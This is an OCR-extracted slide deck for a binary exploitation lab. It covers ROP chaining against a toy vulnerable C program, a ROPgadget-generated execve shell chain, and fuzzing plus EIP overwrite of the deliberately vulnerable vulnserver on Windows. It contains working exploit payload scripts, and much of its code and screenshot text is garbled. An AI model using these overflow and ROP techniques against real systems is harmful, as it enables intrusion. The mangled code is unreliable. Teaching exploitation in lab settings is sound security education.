BINARY EXPLOITION : LAB2




e Lab 2a: Basic ROP.

- ROPGadgets.
- ROP.
* Lab 2b: ROP with shellcode
- ROPGadgets.
* Lab 2b : Windows Exploitation.
- Fuzzing.

- Buffer Overflow.



BASIC ROP : LAB 2a




ROP EXAMPLE

 Vulnerable Program.

ﬂinclude <stdio.h=>
#include <string.h>

char string[100]:; void vuln{char *string) {
char buffer[100];
vold execGadget(){ strcpy(buffer, string);
system(string); }
}

int main(int argc, char** argv)
binGadget(int binParam) { string[e] = ©;

if (binParam == Oxdeadbeef) {

: : 4 vuln{argv[1]):
strcat(string, "/bin"); return -
} k-

bashGadget(int bashParaml, int bashParam2) {
if (bashParaml == @xcafebabe && bashParam2 == @x0badfeed) {
strcat(string, "/bash");
}




ROP EXAMPLE

e The Stack.

Saved ebp

Buffer




ROP EXAMPLE

e The Stack.

Saved ebp

Buffer




ROP EXAMPLE

e The Stack.

Pop e#x; ret

Saved ebp

Buffer




ROP EXAMPLE

e The Stack.

bashParam?2

bashParam1

bashGadget

Pop e#x; ret

Saved ebp

Buffer




ROP EXAMPLE

e The Stack. bashParam2
bashParam1

execGadget
bashGadget
Pop e#x; ret

Saved ebp

Buffer




ROP GADGETS

: adc al, 0x24 ;

: adc al, 0x41 ; ret

: adc al, 8x51 ; call eax

: adc byte ptr [eax - 0x3603a275], dl ; ret

: adc cl, cl ; ret

: adc edx, dword ptr [ebp - ©x77] ; in eax, Ox83 ; in al, dx ; adc al, 8x51 ; call eax

: add al, ® ; nop ; pop ebx ; pop edi ; pop ebp ; ret

: add al, ©0x24 ; ret

: add al, 2 ; inc ebp ; ret

: add al, 2 ; push eax ; ret

: add bl, dh ; ret

: add byte ptr [eax], al ; add byte ptr [ecx], al ; mov ebx, dword ptr [ebp - 4] ; leave ; ret

: add byte ptr [eax], al ; add byte ptr [edx - ox77], dl ; ret

: add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret

: add byte ptr [eax], al ; mov ecx, dword ptr [ebp - 4] ; leave ; lea esp, dword ptr [ecx -

: add byte ptr [ebx - 0x723603b3], cl ; popal ; cld ; ret

: add byte ptr [ecx], al ; mov ebx, dword ptr [ebp - 4] ; leave ; ret

: add byte ptr [edx - @x77], dl ; ret

: add dword ptr [edx + eax], 0x45 ; ret

: add dword ptr [edx + eax], 0x50 ; ret

: add eax, ©x83038742 ; add al, 2 ; inc ebp ; ret

: add eax, ©x83038742 ; add al, 2 ; push eax ; ret

: add esp, 0x10 ; leave ; ret

: add esp, ©x18 ; mov ebx, dword ptr [ebp - 4] ; leave ; ret

: add esp, O0x10 ;

: add esp, Oxc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret

: add esp, 8 ; pop ebx ; ret

: add esp, dword ptr [ebx - ©x3b] ; ret

: and byte ptr [edi + 8xe], al ; adc al, @x41 ; ret
0x000007e8 :
0x000007c3 :

nop ; mov ebx, dword ptr [ebp - 4] ; leave ; ret

arpl bp, ax ; ret
call dword ptr [eax]

4] ; ret




ROP GADGETS

0x565556fb : pop ebp ; ret




ROP EXAMPLE

execGadget

e The Stack.

bashParam?2

bashParam

pop e#x; pop e#x; ret
bashGadget

pop e#x; ret

Saved ebp

Buffer




ROP EXAMPLE

e The Stack.

\x0d\xfO\xad\x0b

\xbe\xba\xfe\xca

\x4d\x55\x55\x56 i%jz}{pilg ::ﬁijgigftn) debug info>} ©x5655554d <execGadget>
\XC5\X55\X55\X56 ilijE}{P::lfiE Egingigftn) debug info=} ©x565555c5 <bashGadget=

Pop e#x; ret

(gdb) print binGadget
B O£ VTV GINGT R | ' (<:c ¢ varicble, no debug info>} ex56555578 <binGadgets

\X42\x42\x4\x42 “BBBB”
\x41\x41\x41\x41 SAAAA”
\x41\x41\x41\x41

“AAAA




ROP EXAMPLE

e The Stack.

\x0d\xfO\xad\x0b
\xbe\xba\xfe\xca
(gdb) print execGadget
\x4d\x55\x55\x56 $1 = {<text variable, no debug info>} ©x5655554d <execGadget>
{(gdb) print bashGadget
\XC5\x55\x55\x56 51 = {<text variable, no debug info>} 0x565555c5 <bashGadget-
\xfb\x56\x55\x56
(gdb) print binGadget
B O£ VTV GINGT R | ' (<:c ¢ varicble, no debug info>} ex56555578 <binGadgets
\x42\x42\x4\x42 “BBBB”
\x41\x41\x41\x4 1 “AAAA”
\x41\x41\x41\x41

“AAAA




ROP EXAMPLE

overflow = 'A' * 108 + 'B' * 4
binGadget = "\x78\x55\x55\x56"
binParam = "\ xef\xbe\xad\xde"
bashGadget "\ xc5\x55\ %55\ x56"

bashParamil "\ xbe\xba\xfe\xca"
bashParam2 = "\ x0d\xfe\xad\xeb"

execGadget "y x4d\ x55\ x55\ x56"

popRet = "\xfbyx56\x55\x56"

payload = overflow + binGadget + popRet + binParam + bashGadget + execGadget + bashParam2 + bashParamil

print payload




ROP EXAMPLE

* The Exploit.

dell@Dell:

Reading symbols from ./rop...{(no debugging symbols found)...done.
(gdb)

(gdb) run S(<./exp )

Starting program: /home/dell/Documents/Brno 18/trg/MP_Exploit Development Basics 2 weeks labs/lab2/lab2b rop/rop S(<./exp )

$

S whoami

S id

S exit

Program received signal SIGSEGY, Segmentation fault.
Oxcafebabe in 7?7 ()

(gdb) 1




ROP EXAMPLE

e The Stack.

\x0d\xfO\xad\x0b
\xbe\xba\xfe\xca
(gdb) print execGadget
\x4d\x55\x55\x56 $1 = {<text variable, no debug info>} ©x5655554d <execGadget>
{(gdb) print bashGadget
\XC5\x55\x55\x56 51 = {<text variable, no debug info>} 0x565555c5 <bashGadget-
\xfb\x56\x55\x56
(gdb) print binGadget
B O£ VTV GINGT R | ' (<:c ¢ varicble, no debug info>} ex56555578 <binGadgets
\x42\x42\x4\x42 “BBBB”
\x41\x41\x41\x4 1 “AAAA”
\x41\x41\x41\x41

“AAAA




ROP EXAMPLE

exit

o Safe Exit.

execGadget

bashParam?2

bashParam1

pop e#x; pop e#x; ret
bashGadget

pop e#x; ret

Saved ebp

Buffer




ROP FOR SHELLCODE : LAB 2b




ROP EXAMPLE

* Vulnerable Program.

#include

void overflow (char* inbuf)

{
char buf[4];

strcpy(buf, inbuf);
k

int main (int argc, char** argv)
{

overflow(argv[1]):;

return 0;

}




ROP EXAMPLE

 Compile Program.

maverick@maverick-workforce:-~
_shell

maveri maverick-workforce:
maveri verlck workforce:

maverick@mav erlc# workforce:

e Generate ROP Chains.

maverick@maverick-workforce:-
maverick@maverick-workforce:~
rop_shell.D = ropD
maverick@maverick-workforce:
rop_shell.s = rops
maverick@maverick-workforce:~

rop_ Hhell C rop_sheil;D rop_s

shell.s

9
1
s [

S gcc

--static -m32 -fno-stack-protector rop_shell.c -o rop

c -m32 -fno-stack-protector rop_shell.c -o rop_shell.D

python ROPgadget.py --ropchain --binary

S python ROPgadget.py --ropchain --binary

s []




ROP EXAMPLE

* View Gadgets.

* Generate exploit using ROP Chains.

- Step 5 -- Build the ROP chain

#! fusr/bin/env python2
# execve generated by ROPgadget

from struct import pack

Padding goes here

pack('<I', 0x0806e82b) pop edx ;
pack('<I', 0x080d9060) @ .data
pack('<I', Ox080a8806) pop eax ;
'/bin’
pack('<I', Ox080568e5) mov dword
pack('<I', 0x0806e82b) pop edx ;
pack('<I', 0x080d9064) @ .data +
pack('<I', Ox080a8806) pop eax ;
‘//sh’
pack('<I', 0x080568e5) mov dword
= pack('<I', 0x0806e82b) pop edx ;
= ! ) &, i3 31 o

[AEAA0ES D

PO TTOUTOTUOTEOUOoTROTOTETE




ROP EXAMPLE

Find padding.

Add padding and print exploit.
- P="A"*00
- Print A

* EXploit using ROP Chains.
mavertCi@:zrertck-wo «force: - . ek

5
S ./rop_shell.s "S(./exploit.py)"




WINDOWS EXPLOITATION: LAB 2c




Binary Testing Methods

* White Box Testing.

* Testing with full knowledge.

* Access to source code & architecture documents.
* Black Box Testing.

* Without knowledge of specification.

* No access to the source code & architecture.

* Attacker model.
* Grey Box Testing.

25



Black Box Exploitation

* Establishing a Working Environment.
* Fuzzing.

* Input Generation.

* Fault Injection.

* Fault Delivery.

* Fault Monitoring.
* Binary Auditing.

26



Black Box Exploitation Example

Activities

File Machine WView Input Devices Help

Sak 2221 e

* OllyDbg - vulnserver.exe - [CPU - main thread, medule vulnsery]

@File View Debug Plugins Options Window Help

Jﬁﬂ

Ll e M T |wa[c|/ K[B]®]-]5]

{= = EHLL vy lnser. 894919
EEB426 agasaa) LEFI ESI Dll.IURD FTR D=: [ESI]
B9EE
=)
S22EC 14 ESF,. 14
SB45 A3 rMow ERX,. OWMORDO PTR SS5: [EBF+21
SEDa Moy ERR.DWORD FTR D ER=]
] " FTR D ERX]
CHMF_EHX, COBEO0Ea31
JA SHORT wulnsecw.8@4@l1Ra
CHMP ERH, CORa@asn

ae .JB SHORT wulnseru. BE4@811E7
> BB alasaaa

ag o B 1
x> Cr44z24 o4 Qoo NDU CWORD PTR SS [ESP+4],8
- C7P@d4zda ageoaal rMoy DWwoRD FTR :[ESF].,. 2

- ES_zs1lCagas CFILL = JMP . &msvcrt =ignal>

- Z3FS a1 CHI =
.vBF84 FFo@anas .JE un Lty BE4E1ZS0
TEST ERX,ERAX

2EEE
20 F186660E
~77 SB
- SD SOaEaacs

Begisters (FFLD
]

nt:dl L.7FEDFET1

F1

ERROR_SUCCESS ( @8@8aaaa)
|egazezez (Mo, M, ME. A, NS, PO, GE, &)

eMpTy
=Pty
2 empty
EMpTY
eMpty
eMpty
empty
empty

DEEQDE

2z ilE ESFUOZ DI

HA HHA| FH ZE 49 HE| BH HA HE @3-
FF FF FF FF

u}

T 00~ 0 O (0 T 2 (1

B, (=[5 ?62936?? RETURH to kernsl32.

-

RETUREH to ntdll.77El

End of SEH chain
SE handlexr

RETUREH to ntdll.77El
v lnsery . <Modu LeEnt:

v lnsery . <Modu LeEn £

i

Thlead DDDDDE84 terminated, exit code O

| Running

Ol | @ | % [ =T

@@%@&Iﬂ@lﬁﬁﬁ)@@rﬂghtctrt

nput Devices
G Termi... -

root@ kali: ~

File Edit View Search Terminal Help

- 192.168.56.
Welcome to Vulnerable Server!
HELP
Valid Commands:
HELP
STATS [stat_value]
RTIME [rtime_ walue]
LTIME [ltime_value]
RUN [srun_walue]
RUN [trun value
GMON [gmon_val
GDOG [gdog_walue]
KSTET [kstet walu
GTER [gter_walu
HTER [hter_wval
LTER [lter_valuel
KSTAN [lstan_walu
EXIT
TRUN AAAA
TRUN COMPLETE
GMON AAAA
GMON STARTED
EXIT
GOODBYE

101 9999

Enter HELP for hel




Activities

Black Box Exploitation Example

Sat 20:27 &

File Machine WView Input Devices Help

* OllyDbg - vulnserver.exe - [CPU - main thread, module vulnsery]

View Debug Plugins Options  Window Help

FUSH EEF

SZEC 15 =
Cra424 alonag
FF1E 60614389 CREmEioTt .
EZ DSFEF CHLL wulnseru. 86461826

S0E4Ze QOOEEEY LEA ESI, OWORD FPTR DS:[ESI]
FUSH EEF

S9ES HOU EEF, ESF

£z PUSH EBX

SSEC 14 SUE ESF

SE45 ao Moy EFIK Dl\JDRD PTR SS: [EBP+2]
Leaa MOU ERX, DWORD PTR DS: CERX]
SEEa MOU EA, DWORD FPTR DS: [EAX]
20 Flaaaace CNF' ERHX, COREEE3 1

- SHORT wulnscru. 38481 1A
3% SOaaaace CI‘1P EFI?& CEaaaash

~ wulnsery. A8481 167
& Arooooon | Aou EEL
Cr44z4 o4 aoa{ HOU DWORD FTR §g:[ESEr4l.m
Cra4s4 cooaoe| MOU DWORD PTR P,

EC 2 Tcanan | LALL Sane. hmuccs S ianb 1>
SEFE @l CHF ER, 1

~BF24 FF@@@a@aa| JE wulnserv. @E4E1220
ssCa TEST EHX,EAX

7 T 0 0 T~ o ) v 300 00 0 0 i =

L= 4 T T

i 2| =i cjE[MT|wiH[c[s[K[B[R[..[5]

Fegisters (S0OMowt]

__=et_app_t

FFFFFFFF

FTBEOFS71 FYBEOFS7T1

FEFFFF
FEFFF
FFFFF

[

+

+

™

+ FFFFFE
* DEEE
b FFFFFF
R_S

M

ul UCCESS ([ BEE60@a6E)
E,ME, R, HZ,. PO, GE, 5]

Q.8
a.a

LastErr
[=[=l=l= b=l ey

o0 gooooom D.

m oO—nrMDT0

a
r annoosoom

. a.a

| SRRRNRNSE

2 dump
FF FF FF FF

FE FE FF FF
FF FF FF FF

Bl B FE ZE 49 U EE BE BE EE
EF FF FF FF

|u)

0 100 00 = 0 (N o Q0 P = 1

?62FI36?? RETUEH to kernel3Z.

RETURH to ntdll.7rE

End of SEH chain
SE handler

RETURH to ntdll.77E
vy lnseru. <Modu leEnt

vy lnseru. <Modu leEnt

-

| Running

Thread 0000CD 94 terminated, exit code O

@@%@&E@E{@}@ER:QMCM

host=
port=

Huffer

end(buffer}

1l.close()

Devices Help

Sat 1(

buffO.py (~) - VIM

Edit View Search Terminal

Help

, socket.SOCK_STREAM)

@ = g P o ] @ @7 {3} & (#] rRight Ctrl




Black Box Exploitation Example

Sat 2226 &

File Machine WView Input Devices Help Input Devices
* OllyDbyg - wulnserver.exe - [CPU - thread 0000ELEQ] G Termi.. «
IEI File View Debug Plugins Options Window Help

[Efad>x| w|un] w3 ef S8 =] =f L]E|m] TJJJJJJJJJJ

ters (FELD
68 ASCIT
Ce

root@kali: ~

File Edit View Search Terminal Help
P—#

s

# python buffe.py
#

TTRUM oz

192.168.56.181 9999

F Fa
ERROR_SUCCESS [ DBA00EHS)
(MO, ME, E, BE,. M5, PE. GE, LE)

[
~
F
m
=
o
3
=t
HEOEEDEE

STV emoty

ESFUOZ DT

Hew dump - -
FF FF FF FF| B0 i3 08 08| 0 ZE 48 60| OF 08 08 60
FF FF FE FF FF FF FF FE

FF FF FF FF

ALAALLBALRLBALREBALREBALREBALRAALAR

PLPLEL AL ARELAAL PR AL pnn]M

P A Lo
P RN | 1

B b o i i i i i i B

§0 D000 00 = O Q0 g = 30 T TT 3 03 00 D) 00~ 0 - 00 v 100

Access violation when executing [41414141] - use Shift+F7/F2/F3 to pass exception to program | | FPaused

2 . O (@ X][=1] =

@@%@&E@E‘{@}@ER:QMCM

@ = g P o ] @ @7 {3} & (#] rRight Ctrl




Black Box Exploitation Example

Activities Sat 2031 e

File Machine WView Input Devices Help File Machine WView Input Devices Help
* OllyDbg - vulnserver.exe - [CPU - main thread, module vulnsery] — i& Appli.. - Places 3 Termi.. ~ Sat 11:01

IE' File VWiew Debug Plugins Options Window Help =
Slex| wn] v+ 338 W =) clE|mT|wialc|s|&[B[R]-]s] i St
Be4a =TB'5SS—W Fegisters (SOMowt) File Edit Wiew Search Terminal Help
= A HaHaERR SR Ef DOBOOBEE
3 2| ¢ E28524"010000] A0 DWARG-PTR SS:CESPI, 1 ECH L~
goiin) PR sDeistenicl ebRD P DSEE nEee e ey o : locate pattern_create
381135| | Z0paze veeeoe|lEn £5I,0WORD FTR DS:CESII e e e fusr/shar E‘ meta rﬂ oit-framework/tools/exploit/pattern_create.rb
b i i EEF, ESP ECT ST :~# Jusr/share/metasploit-framework/tools/exploit/patte
2} = FUSH EE: EIF FFEDOFCAZ ntdll.77 rn c I’eate .r l_: = -L 5050
3 4 fian ng dioRD PTR SS:rEpPeel Cio S ESaaash osbit Bl ) -3 _— e
a1 =1 MOU EQ. OWORD FTR DZ: [EAM] e e S = AafAalAaZAa3AadAaSAabAaTAa8Aa9AbOAb1ADZAD3ADAADSADBADTA . =
e e T g et £ 9 DS Hob Sebit bIEEFEEEFE) c1Ac2Ac3AcAACSACBACTACBACIAdOAdIAd2AdIAdIAdSAd6Ad7AdBAdIAcBAc 1A
2 2| ih Showeosce éﬂPSEnxTcEEéBSSEU Dol TS asa0dcBe S b L RetEREERELE) 2Ae3AedAebAcbAeTAcB8AcOATOATIATZATIATAATSATEOATTATEBATOAGOAGLlAg2ZAg3
i 2| 3725 SSoceose |Houtpon, Y nEeTy.GO4a11ET 0 B LastErr ERROR_SUCCESS (80000000) AgdAg5AgBAgT AL g9Ah0Ahl1ARZ2AR3Ah4ANRSARBARTARBANhOAIOAIIAIZAISALILA
ganlalli Coiac RaaTenet ol DlinE T o fCEcE Rt ek SREMEREES LD L LE e Rl o ) i5Ai6Ai7AIBAIOAIBAT1Aj2AI3AT4AISAT6A]TA]BATIAKDAKIAKZAKIAKIAKSAK
A D EERE R | ERFERup BmEverT.Slanals 1 2.a BAKTAKBAKOALOALIALZALIALAALSALGALTALBAL9AMBAMIAMZ Am3AMAAMSAMEAMT
3 el et = AM8AMIANOANLANZAN3AN4ANSAN6ANTANSANIA0OAD1A02A03A04A05A06A07A0OS
- e = 09ApOAP1AP2Ap3Ap4APSAPBAPTAPBAP9AQOAqlAg2Aq3Aq4AqSAqBAqTAQBAQO9ATr
v -3, BArlAr2Ar3ArdArSAreAr7A roAs@As1As2ZAs3As4ASSASBASTASBASOATOATL
FER EeTs - — Joczerroc|| TEEREE T |RETURN to Kecneloes ATZATIATAATSATEATTATSATOAURAULAUZAUZAULAUSAUBALT AL Uu9AvOAVIAVZA
EE FE FE FEo0 40 oo oo/ 78 =€ 3o oo oo oo oo oo SEE 94| EaBEOEEDS v3AVAAVSAVEAYTAVBAVIAWDAWLAWZ AW AW AWS AWE AWT AWBAWIAXOAX LAX2AX3AX
—8 SFE22|| SeRBERGE|RETE B ndblaeTE AAXSAXEAXTA (OAYOAY1AY2AY3AYAAYSAYBAYTAYBAYOAZOAZ1AZ2AZ3AZ4AZS
Az6AzT7TAzBAz9Ba0OBalBa2Ba3BadBa5Ba6Ba7Ba8Ba9BbOBbl1Bb2Eb3Bb4Bb5BbGE
b7BEb8BbY9BcOBclBc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9BdOBd1Bd2Bd3Bd4Bd5Bd6Bd 7Bd

S8Bd9Be0BelBe2Be3BedBe5BebEBe7Be8Be9BTOBT1IBf2BT3BT4BTfSETGBT7ETEBTO
Bg@BglBg2Bg3Bg4Bg5Bg6Bg7Bg8EBg9BhOEBh1Bh2EBh3Bh4Bh5Bh6Bh7Bh8EhOEB10B
SFFCa FFFF[End of SEH chain ilBi2Bi3Bi4Bi5Bi6Bi7/Bi8Bi9BjOBj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9BkOBKk1Bk

£ SFEco|| GEEEERLn| 98 hendter 2Bk3Bk4Bk5Bk6Bk7Bk8BKkOB1LABL1B12B13B14B15B16B17B18B19BME@Bm1Bm2Bm3
B Errpa|Loszarroe Bm4BmSBm6BM7Em8BMOBNEEN1BNn2Bn3Bn4Bn5Bn6BN7Bn8Bn9B0o0Bo1Bo2Bo3Bo4B
z SEEDC| Gbanils| i insero:<riom (2Ens 05Bo6Bo7Bo8Bo9BpBBp1Bp2Bp3Bp4Bp5Bp6Bp 7Bp8BpoBqoBqlBq2Bg3Bq4Bgq5Bg
3 EFEEA| Goma 6Bq7Bq8BqOBreOBrlBr2Br3Brd4Br5Br6Br7Br8BroBs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7
g SFEEC Bs8Bs9Bt@Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8BtOBufBulBuZBu3Bu4BuSBu6Bu7BusB
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aCcblcC

SdedindowshspsowE M SCTF. dil Flunning 8225235248258268z?Bz(:B;QCaGCalLa"CaB(a4ta5( ab6Ca

= b3Cb4Cb5Ch6Cb7Ch8ChI9CcBCclCc2Cc3CcA
2 ) O [@[%][=]] '

4Cd5CdeCd7Cd8CdaCE
B @ ta & &= @ i [ @ (3 Right ctrl
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Black Box Exploitation Example

Activities Sat 20:31

File Machine WView Input Devices Help Input Devices Help
* OllyDbg - wulnserver.exe - [CPU - main thread, module vulnsery] = . Y 2 Termi... at 11:01

IEI ile =
“ c] s k[BIR|-|s] =F2] iy e Bl

Wiew Debug Plugins Options Window Help

M| =i vlE[M[T|w H]|

m4 EL] Registers (SONowt) Edit View Search Terminal Help
o 20 BEBDBEED ;
4 1
4 o Zhmiucrt.__set_app_t
+ 5| . Es oeFeEr EBLD W Thaceo. onabiase Kl
g g . 2DE4ZE OULEEOEY IP_EE ESI, DWORD PTR DS:[ESI] El UE g
4 1| . 83es MOU EEF, ESP Ll e e
2 =] S PUSH EBX EIF FFEOFCAZ ntdll.7FEOFCAZ
4 4| . S3EC 14 SUE ESF FEF F
4 7| . eBac a@e fid Efr, BioRn PTR o5: CEBP+al B Eo RO o VECEEERER]
4 1= == ] MOU ERX, OWORD PTR OF: CEAX] B LS o oD e EEEEEEEE]
< c| . SEem HOY ERX.DWORD FTR DSz [EAX] R o ooor SoplE AL EEEEERER]
4 E| [ 50 Sieseacs |CHP ERH:cecnaasi £ 8 Pt Boc: Z5BiT SLFChmae FrF
2 =] e SHO T vy lnssru. BE4AL 1AE T @ & BAZE S=bit @I FFFFFFFF1
4 =) . 30 SDesesce CHP ERi, comaaasD U0
5 i et e L e B e 0 8 LastErr ERROR_SUCCESS (G0000860)
4 b Cradad @4 @om| MOU OWORD FTR SS:[ESPedd.a EFL @8888282 (N0, MNE,ME, A, MS, PO, GE, 6] ehuftT
4e117s| | Cre4d4 coopcel MOU DWORD PTR R =
2 - EZ ZzlCcouon CHLL <.JMP. &MSUCI‘t Slgnal) 1 a bllffer
4 . =3Fs @1 CHF ERX, 1 B
4 ~BFEi FFEeeeEE| JE wu lniory, BE4E12E0 2
"! . B5CA TEST EHRX,ERX ol ¥
5
=3
i :
T ~[oE=cFreC|[ tecReer | FETURN o kernel58.
FF FF FF FF| 0B 40 OB OO 0 ZE 40 00| 08 60 @9 o) SRR e IlEEEDE DG
EESEELFEFE e EbaER ER - =FF2s|[ FTBF207Z| RETURN to ntdll.77E
=reac || FEFD
2FFHEA T2F3
: SEFA4
SFEEAS
= BFFAC TEFD
SFFESD
SEEES
SEFES
SFFEC a
SFEECE
O SFFCd FFF End of SEH chain
g srFce|| Frosmain| SE handler
srrcc || eseFsscn
o @ SFFD&A ABRARARAEA
qasia =rrn4 | Lesssrrec
gasil SFFDS| FrEESD4E| RETURN to ntdll.77E
o 5 SFFOC aa4a vu lnseru. <Modu leEnt
gasls SFFES| FEFDI
aasia SEFES
3 = SFEES
gasic SFFEC
qashe SFEFG
o Y SFFF L vu lnseru. <Modu leEnt
qasi2 i SFEFS FO -
= DEESEEFC| HEnEGEEaE

| Running

FModule C:\windowssspswonE4\MHMSCTE dI

@ ] O | @] |m=]

@ P o5 = M & [ @ [®] Right Ctrl

.py" 17L, 5306C =ik Top
(=) &7 {3} (& (] right Ctrl




Black Box Exploitation Example

ctivities Sat 2032 @

e Machine WView Input Devices Help nput Devices Help
* OllyDbg - vulnserver.exe - [CPU - thread 0000D0OF4] J 3 = Termi.. ~ Sat 11:02
@File View Debug Plugins Options Window Help
(S x] »n] W 30 o] = ﬂElMIlelﬂC ] e e | | )

r= (Z0Howt) File Edit View Search Terminal Help
FE Eg ASCII "TRUM ~.:- RaBAalAazAg ;

root@kali: ~

FFCo3CpUCplCp2Cp3Cp4CH

F1
OF_SUCCESS (90a0aaa8)
+MHE.E.EBE. N5, FE.GE,LE}

m ao—HnNIDTIo
MM GO0 o )

3
o3 oooooo

2818246

feldigugindialialing

QRO GHOHEG

Bl B YE ZE 48 W BE B8 0E Gg
FE FF FE FF

A

o 0 =] B 0 0 =] o 00 00 = o 00 00 = (0 0 =

B
F:D\DOJ'\IU\WQWNH@'HNUUUJD\DOT\IU\NAWI\JF‘@ "

00 = e 01 = 00 Q0 = 000 = (0 P 0=

i

x'-\cc:ess wiolation when executing [386F4337] - uze Shift+F7/F8/F13 to pazs es-cc:eptlnn (s} pn:\glam | Fauzed

o | @] %

@G)DEE@;?@@E@@E]R@MCUL @ = g P &2 @ IR {0 & [#) Right Ctrl




Black Box Exploitation Example

Activities Sat 20:33 @

File Machine WView Input Devices Help w Input Devices Help
* OllyDbg - vulnserver.exe - [CPLU - thread 0000D0OF4] El Termi... i

@File View Debug Plugins Options Window Help b
[l x| wjn] =i+ 38 » =i v|E[mM[T|wWH|C

.

root@ kali: ~

File Edit WView Search Terminal Help

s (S0MHowt )
FFzA@ ASCITI "TRUM . :-Aa@AalAazAg
SEC4

1O

ASCII "CofCpECplCp2CpiCp4CH

r/shar e,u metaqplolt framewor |.r, toolsz exploit/pattern offset.rb
sr/share/metasploit-framework/tools/exploit/patte

[*1 Exact match at offset 2003

mmomom
B S SO

OF_SUCCESS (Q80@@aE0)
E.E.BE,H5,FPE, GE.LE]

[= ]

LastEcrr
aEalez4s

m o= nrMDT0

TI
ool

o

m
oMl

za
oD ooooom
........zl;u cAetchctetot

DEOOOOE

Logogudalallo)

Hew _dump _ =
FE FF FF FPF| 05 40 OO b r0 =b 40 00 08 Do o0 o0
EEZEEEEFE EECEE-EEFE

43526F
EEEREE]

5
-

no

N¥

[=d - 000 = e Q01 = O Q01 = 000 e Q0 = 000 = e 00 =) (00 = o

ALAALAALELL
0 D0 00 =J 0 (N QO P = 5

az21f FEA22E
Access violation when executing [386F4337] - use Shift+F7/FS/F9 to pass exception ta proglam | FPaused

O . C e Xx[=] I

.@%@&EEE@@E} R:ghtctrl

& ) g P o 0 @ &R {3 & (#] right CErl




Black Box Exploitation Example

Activities Sat 20:33 @

File Machine WView Input Devices Help Input Devices Help
* OllyDbg - vulnserver.exe - [CPU - main thread, module vulnsery] El Termi.. - Sat 11:0

View Debug Plugins Options  Window Help

1 =] = LlE[mMmT|wH|Cc|s[K[B[R[-[5s buff2.py (=) - VIM
PUSH_EEP + [Bemiz=ter= (=Onowty i Edit View Search Terminal Help
BARARAAEA ot Y

SZEC 15 = F. 13

Cra424 alonag L QRO S

FF1E 60614389 FTR CREmEioTt . —_set_app_t
EZ DSFEF CHLL wulnseru. 86461826

S0E4Ze QOOEEEY LEA ESI, OWORD FPTR DS:[ESI]
FUSH EEF

S9ES HOU EEF, ESF

£z PUSH EBX

SSEC 14 SUE ESF

SE45 ao Moy EFIK Dl\JDRD PTR SS: [EBP+2]
Leaa MOU ERX, DWORD PTR DS: CERX]
SEEa MOU EA, DWORD FPTR DS: [EAX]
20 Flaaaace CNF' ERHX, COREEE3 1

- SHORT wulnscru. 38481 1A
3% SOaaaace CI‘1P EFI?& CEaaaash

~ wulnsery. A8481 167
& Arooooon | Aou EEL

Cr44z4 o4 aoa{ HOU DWORD FTR §g:[ESEr4l.m
Cra4s4 cooaoe| MOU DWORD PTR P,

EC 2 Tcanan | LALL Sane. hmuccs S ianb 1>
SEFE @l CHF ER, 1

~BF24 FF@@@a@aa| JE wulnserv. @E4E1220

ssCa TEST EHX,EAX

L

A

7 T 0 0 T~ o ) v 300 00 0 0 i =

FTTYEOFCAZ

[

+ FFFFFF

+ FFFFE

T FFFFF

I3 FFEFFE) host=
£ DEEE _

* FFFFFF port=
R_S

M

ul

UCCESS ([ BEE60@a6E)

E,ME, A, HZ,. PO, GE, 5] buffer
(=]
a.a

oM J

s

td
{=]
=)
(=]
{=]
=]
(=]
=]
[u]

m oO—nrMDT0

a
r annoosoom

[=[=l=l=l b=l ey

L= 4 T T

5 a.a : .connect( (ho -t, port))

w _dump TEERZELT FETURN fo Rernelses send(buffer)
FF FF FF FF BE D8 ;0 ZE 48 0P B 08 B0 G99 L (Z[c] close()
EESEELFEFE CoeEEaER B RETURH to ntdll.77E

| SRRRNRSE

End of SEH chain
SE handler

|u)

RETURH to ntdll.77E
vy lnseru. <Modu leEnt

vy lnseru. <Modu leEnt

0 100 00 = 0 (N o Q0 P = 1

FModule C:\windowshspswowE4\HMSCTE dI | Running

@Gﬁﬁﬁﬁﬁgﬂ{@@Enghtctri @ & by &P o @ &7 3 @& ® Right Ctrl




Black Box Exploitation Example

Activities Sat 20:34 @

Devices

File Machine Wiew Input Devices Help w  Input
&k OllyDbg - vulnserver.exe - [CPU - thread 0000D1F0] F 3 Termi.. -

@File Wiew Debug Plugins Options Window Help
(B4 x| w]n] wif+g ¥4 M| =+ vje[M[T|w[H[C[/|K|B|R]...|5]

root@kali: ~

=rs (SOMHowt) File Edit View Search Terminal Help
1CFZEa ASCII TRUMN <.z
FEE ST
T
1CF2E@ ASCII "MCCCCCCCCCCCCCCoCoCtg . o cE R
47414141 vi buffz2.py
I « =7
ETF I— # python buff2.py
C 8 ES 8@8zZB SZbit al 1
F 1 ©CE5 @@22 22bit ol 1
H 8 £S5 E0ZE Z2bit &l 1
2 1 DS 88zE SZbit al 1
S 8 FS @a53 I2bit TE FF1
E S GS BEZE ZFZbit GIFF F1
0 8 LastErr ERROR_SUCCESS (B8@00888)
EFL BBB1B8246 (MO, ME.E.BE,MS,.FE,.GE.LE]
=) -8, a.a
1 -8, =]
= -, a.a
B =] -H, a.a
4 -8, a.a
= -, a.a
5 -8, a.a
s -8, a.a

Hed dumy
FF FF FF FF
FF FE FF FF
FF FF FF FF

=)
o)
5|

HA 4H Bd Bd] FE ZE 49 WHE| BE BE HE JE
FE FF FF FF

BARBLARALEE LA AR EALAEALALS L
LhLELBLELELELREALLAERLAERL AL Lk
LhLRLBLRALELRERBALREALAERLALR LE
LhLRLALRELELRERBALREALAEARLALRLE

O
0 T 00 =) i o 00 B = 3 TIM 5 0 D00 =) ] 0 =

6z
Access violation when executing [42424242] - use Shift+F7/FS3/F9 to pass exception to p?:glam | FPaused

e . C | e][x]= &

B @ ba P o = M P [ @ = Ri

& &) by o 1 @ @R 3 @3 (] Right Ctrl




Black Box Exploitation Example

Activities Sat 20:35 @

File Machine WView Input Devices Help w Input Devices Help
* OllyDbg - vulnserver.exe - [CPU - main thread, module ntdll] 4 2 Term - Sat 11

Debug Plugins Options Window Help

root@ kali: ~

Log Al | L|E|M[T[W]H]
Executable modules Alt+E  [FERREBR WERREE _ File Edit WView 5Search Terminal Help
30 wu lnseru. <{Modu leEntruFPoint >
Memory Alt+ M
F DI 15
e @5y BOZSFEF
2 Threads ;
? Windows | ntdl L. 77FEOALSY
